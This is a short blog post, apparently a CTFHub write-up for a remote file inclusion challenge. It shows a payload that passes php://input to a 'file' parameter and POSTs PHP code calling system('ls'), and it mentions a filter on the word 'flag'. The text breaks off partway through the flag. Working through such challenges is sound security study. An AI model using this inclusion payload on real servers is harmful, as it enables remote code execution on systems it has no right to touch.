nai_kai的博客

CTFHUB 远程包含ctfhub RCE 远程包含 write up题目信息:“我没有shell，你怎么取flag？”打开便是一个phpinfo()用file包含phpinfo是有回显的，所以构造payload ：xxx:10080/?file=php://inputpost <?php system('ls');?>#if (!strpos($_GET["file"], "flag")) #过滤了get方式ctfhub{34f653c72f8b095914